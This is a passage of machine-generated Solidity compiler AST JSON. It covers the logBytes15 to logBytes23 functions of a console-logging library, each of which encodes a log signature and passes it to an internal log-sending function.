\"log(bytes15)\""},{"typeIdentifier":"t_bytes15","typeString":"bytes15"}],"expression":{"id":15994,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3264:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15995,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3268:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3264:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15998,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3264:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15993,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"3248:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15999,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3248:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16000,"nodeType":"ExpressionStatement","src":"3248:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes15","nameLocation":"3201:10:14","parameters":{"id":15991,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15990,"mutability":"mutable","name":"p0","nameLocation":"3220:2:14","nodeType":"VariableDeclaration","scope":16002,"src":"3212:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes15","typeString":"bytes15"},"typeName":{"id":15989,"name":"bytes15","nodeType":"ElementaryTypeName","src":"3212:7:14","typeDescriptions":{"typeIdentifier":"t_bytes15","typeString":"bytes15"}},"visibility":"internal"}],"src":"3211:12:14"},"returnParameters":{"id":15992,"nodeType":"ParameterList","parameters":[],"src":"3238:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16016,"nodeType":"FunctionDefinition","src":"3321:123:14","nodes":[],"body":{"id":16015,"nodeType":"Block","src":"3367:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313629","id":16010,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3417:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_665c61046af0adc4969f9d2f111b654775bd58f112b63e5ce7dfff29c000e9f3","typeString":"literal_string \"log(bytes16)\""},"value":"log(bytes16)"},{"id":16011,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16004,"src":"3433:2:14","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_665c61046af0adc4969f9d2f111b654775bd58f112b63e5ce7dfff29c000e9f3","typeString":"literal_string \"log(bytes16)\""},{"typeIdentifier":"t_bytes16","typeString":"bytes16"}],"expression":{"id":16008,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3393:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16009,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3397:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3393:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3393:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16007,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"3377:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3377:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16014,"nodeType":"ExpressionStatement","src":"3377:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes16","nameLocation":"3330:10:14","parameters":{"id":16005,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16004,"mutability":"mutable","name":"p0","nameLocation":"3349:2:14","nodeType":"VariableDeclaration","scope":16016,"src":"3341:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"},"typeName":{"id":16003,"name":"bytes16","nodeType":"ElementaryTypeName","src":"3341:7:14","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"}},"visibility":"internal"}],"src":"3340:12:14"},"returnParameters":{"id":16006,"nodeType":"ParameterList","parameters":[],"src":"3367:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16030,"nodeType":"FunctionDefinition","src":"3450:123:14","nodes":[],"body":{"id":16029,"nodeType":"Block","src":"3496:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313729","id":16024,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3546:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_339f673a0c008974259a0022c9b150cc5d1af8c58584412fe373d84bd08d4ea3","typeString":"literal_string \"log(bytes17)\""},"value":"log(bytes17)"},{"id":16025,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16018,"src":"3562:2:14","typeDescriptions":{"typeIdentifier":"t_bytes17","typeString":"bytes17"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_339f673a0c008974259a0022c9b150cc5d1af8c58584412fe373d84bd08d4ea3","typeString":"literal_string \"log(bytes17)\""},{"typeIdentifier":"t_bytes17","typeString":"bytes17"}],"expression":{"id":16022,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3522:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16023,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3526:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3522:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16026,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3522:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16021,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"3506:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16027,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3506:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16028,"nodeType":"ExpressionStatement","src":"3506:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes17","nameLocation":"3459:10:14","parameters":{"id":16019,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16018,"mutability":"mutable","name":"p0","nameLocation":"3478:2:14","nodeType":"VariableDeclaration","scope":16030,"src":"3470:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes17","typeString":"bytes17"},"typeName":{"id":16017,"name":"bytes17","nodeType":"ElementaryTypeName","src":"3470:7:14","typeDescriptions":{"typeIdentifier":"t_bytes17","typeString":"bytes17"}},"visibility":"internal"}],"src":"3469:12:14"},"returnParameters":{"id":16020,"nodeType":"ParameterList","parameters":[],"src":"3496:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16044,"nodeType":"FunctionDefinition","src":"3579:123:14","nodes":[],"body":{"id":16043,"nodeType":"Block","src":"3625:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313829","id":16038,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3675:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c4d23d9af6458d5ddc7cb8128a2f36bf147c9db4fe277dfe0fe7be41def62116","typeString":"literal_string \"log(bytes18)\""},"value":"log(bytes18)"},{"id":16039,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16032,"src":"3691:2:14","typeDescriptions":{"typeIdentifier":"t_bytes18","typeString":"bytes18"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c4d23d9af6458d5ddc7cb8128a2f36bf147c9db4fe277dfe0fe7be41def62116","typeString":"literal_string \"log(bytes18)\""},{"typeIdentifier":"t_bytes18","typeString":"bytes18"}],"expression":{"id":16036,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3651:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16037,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3655:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3651:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16040,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3651:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16035,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"3635:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3635:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16042,"nodeType":"ExpressionStatement","src":"3635:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes18","nameLocation":"3588:10:14","parameters":{"id":16033,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16032,"mutability":"mutable","name":"p0","nameLocation":"3607:2:14","nodeType":"VariableDeclaration","scope":16044,"src":"3599:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes18","typeString":"bytes18"},"typeName":{"id":16031,"name":"bytes18","nodeType":"ElementaryTypeName","src":"3599:7:14","typeDescriptions":{"typeIdentifier":"t_bytes18","typeString":"bytes18"}},"visibility":"internal"}],"src":"3598:12:14"},"returnParameters":{"id":16034,"nodeType":"ParameterList","parameters":[],"src":"3625:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16058,"nodeType":"FunctionDefinition","src":"3708:123:14","nodes":[],"body":{"id":16057,"nodeType":"Block","src":"3754:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313929","id":16052,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3804:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5e6b5a33524ca650028e2fad735b4ab50285bba37658119d2da303bee98aeada","typeString":"literal_string \"log(bytes19)\""},"value":"log(bytes19)"},{"id":16053,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16046,"src":"3820:2:14","typeDescriptions":{"typeIdentifier":"t_bytes19","typeString":"bytes19"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5e6b5a33524ca650028e2fad735b4ab50285bba37658119d2da303bee98aeada","typeString":"literal_string \"log(bytes19)\""},{"typeIdentifier":"t_bytes19","typeString":"bytes19"}],"expression":{"id":16050,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3780:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16051,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3784:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3780:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3780:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16049,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"3764:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16055,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3764:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16056,"nodeType":"ExpressionStatement","src":"3764:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes19","nameLocation":"3717:10:14","parameters":{"id":16047,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16046,"mutability":"mutable","name":"p0","nameLocation":"3736:2:14","nodeType":"VariableDeclaration","scope":16058,"src":"3728:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes19","typeString":"bytes19"},"typeName":{"id":16045,"name":"bytes19","nodeType":"ElementaryTypeName","src":"3728:7:14","typeDescriptions":{"typeIdentifier":"t_bytes19","typeString":"bytes19"}},"visibility":"internal"}],"src":"3727:12:14"},"returnParameters":{"id":16048,"nodeType":"ParameterList","parameters":[],"src":"3754:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16072,"nodeType":"FunctionDefinition","src":"3837:123:14","nodes":[],"body":{"id":16071,"nodeType":"Block","src":"3883:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323029","id":16066,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3933:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5188e3e9b3f117a223e2e428d0e13d089f3a53913e479000b94b85266ecf8231","typeString":"literal_string \"log(bytes20)\""},"value":"log(bytes20)"},{"id":16067,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16060,"src":"3949:2:14","typeDescriptions":{"typeIdentifier":"t_bytes20","typeString":"bytes20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5188e3e9b3f117a223e2e428d0e13d089f3a53913e479000b94b85266ecf8231","typeString":"literal_string \"log(bytes20)\""},{"typeIdentifier":"t_bytes20","typeString":"bytes20"}],"expression":{"id":16064,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3909:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16065,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3913:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3909:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16068,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3909:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16063,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"3893:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16069,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3893:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16070,"nodeType":"ExpressionStatement","src":"3893:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes20","nameLocation":"3846:10:14","parameters":{"id":16061,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16060,"mutability":"mutable","name":"p0","nameLocation":"3865:2:14","nodeType":"VariableDeclaration","scope":16072,"src":"3857:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes20","typeString":"bytes20"},"typeName":{"id":16059,"name":"bytes20","nodeType":"ElementaryTypeName","src":"3857:7:14","typeDescriptions":{"typeIdentifier":"t_bytes20","typeString":"bytes20"}},"visibility":"internal"}],"src":"3856:12:14"},"returnParameters":{"id":16062,"nodeType":"ParameterList","parameters":[],"src":"3883:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16086,"nodeType":"FunctionDefinition","src":"3966:123:14","nodes":[],"body":{"id":16085,"nodeType":"Block","src":"4012:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323129","id":16080,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4062:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e9da35608192a6b38ad5ef62cf738886973b011b8cdb7e81cdd51b4c3dfe8ad7","typeString":"literal_string \"log(bytes21)\""},"value":"log(bytes21)"},{"id":16081,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16074,"src":"4078:2:14","typeDescriptions":{"typeIdentifier":"t_bytes21","typeString":"bytes21"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e9da35608192a6b38ad5ef62cf738886973b011b8cdb7e81cdd51b4c3dfe8ad7","typeString":"literal_string \"log(bytes21)\""},{"typeIdentifier":"t_bytes21","typeString":"bytes21"}],"expression":{"id":16078,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4038:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16079,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4042:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4038:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4038:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16077,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"4022:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16083,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4022:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16084,"nodeType":"ExpressionStatement","src":"4022:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes21","nameLocation":"3975:10:14","parameters":{"id":16075,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16074,"mutability":"mutable","name":"p0","nameLocation":"3994:2:14","nodeType":"VariableDeclaration","scope":16086,"src":"3986:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes21","typeString":"bytes21"},"typeName":{"id":16073,"name":"bytes21","nodeType":"ElementaryTypeName","src":"3986:7:14","typeDescriptions":{"typeIdentifier":"t_bytes21","typeString":"bytes21"}},"visibility":"internal"}],"src":"3985:12:14"},"returnParameters":{"id":16076,"nodeType":"ParameterList","parameters":[],"src":"4012:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16100,"nodeType":"FunctionDefinition","src":"4095:123:14","nodes":[],"body":{"id":16099,"nodeType":"Block","src":"4141:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323229","id":16094,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4191:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d5fae89c25bed6f12b105f52db0a0ff6f5c8313613e12eccd3059bb7f7ea6575","typeString":"literal_string \"log(bytes22)\""},"value":"log(bytes22)"},{"id":16095,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16088,"src":"4207:2:14","typeDescriptions":{"typeIdentifier":"t_bytes22","typeString":"bytes22"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d5fae89c25bed6f12b105f52db0a0ff6f5c8313613e12eccd3059bb7f7ea6575","typeString":"literal_string \"log(bytes22)\""},{"typeIdentifier":"t_bytes22","typeString":"bytes22"}],"expression":{"id":16092,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4167:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16093,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4171:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4167:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16096,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4167:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16091,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"4151:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4151:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16098,"nodeType":"ExpressionStatement","src":"4151:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes22","nameLocation":"4104:10:14","parameters":{"id":16089,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16088,"mutability":"mutable","name":"p0","nameLocation":"4123:2:14","nodeType":"VariableDeclaration","scope":16100,"src":"4115:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes22","typeString":"bytes22"},"typeName":{"id":16087,"name":"bytes22","nodeType":"ElementaryTypeName","src":"4115:7:14","typeDescriptions":{"typeIdentifier":"t_bytes22","typeString":"bytes22"}},"visibility":"internal"}],"src":"4114:12:14"},"returnParameters":{"id":16090,"nodeType":"ParameterList","parameters":[],"src":"4141:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16114,"nodeType":"FunctionDefinition","src":"4224:123:14","nodes":[],"body":{"id":16113,"nodeType":"Block","src":"4270:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323329","id":16108,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4320:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_aba1cf0dcd316c862bc06d4cf532375fed11c1e0897ba81a04ee0b22d3f14061","typeString":"literal_string \"log(bytes23)\""},"value":"log(bytes23)"},{"id":16109,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16102,"src":"4336:2:14","typeDescriptions":{"typeIdentifier":"t_bytes23","typeString":"bytes23"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_aba1cf0dcd316c862bc06d4cf532375fed11c1e0897ba81a04ee0b22d3f14061","typeString":"literal_string \"log(bytes23)\""},{"typeIdentifier":"t_bytes23","typeString":"bytes23"}],"expression":{"id":16106,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4296:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16107,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4300:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4296:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16110,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4296:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16105,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"4280:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16111,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4280:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16112,"nodeType":"ExpressionStatement","src":"4280:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes23","nameLocation":"4233:10:14","parameters":{"id":16103,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16102,"mutability":"mutable","name":"p0","nameLocation":"4252:2:14","nodeType":"VariableDeclaration","scope":16114,"src":"4244:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes23","typeString":"bytes23"},"typeName":{"id":16101,"name":"bytes23","nodeType":"ElementaryTypeName","src":"4244:7:14","typeDescriptions":{"typeIdentifier":"t_bytes23","typeString":"bytes23"}},"visibility":"internal"}],"src":"4243:12:14"},"returnParameters":{"id":16104,"nodeType":"ParameterList","parameters":[],"src":"4270:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16128,"nodeType":"FunctionDefinition","src":"4353:123:14","nodes":[],"body":{"id":16127,"nodeType":"Block","src":"4399:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573323429","id":16122,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4449:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f1b35b3488a5452bceb48624d6ba2a791e58f0e9c0f4b86b8f51186ec7a7edf4","typeString":"literal_string 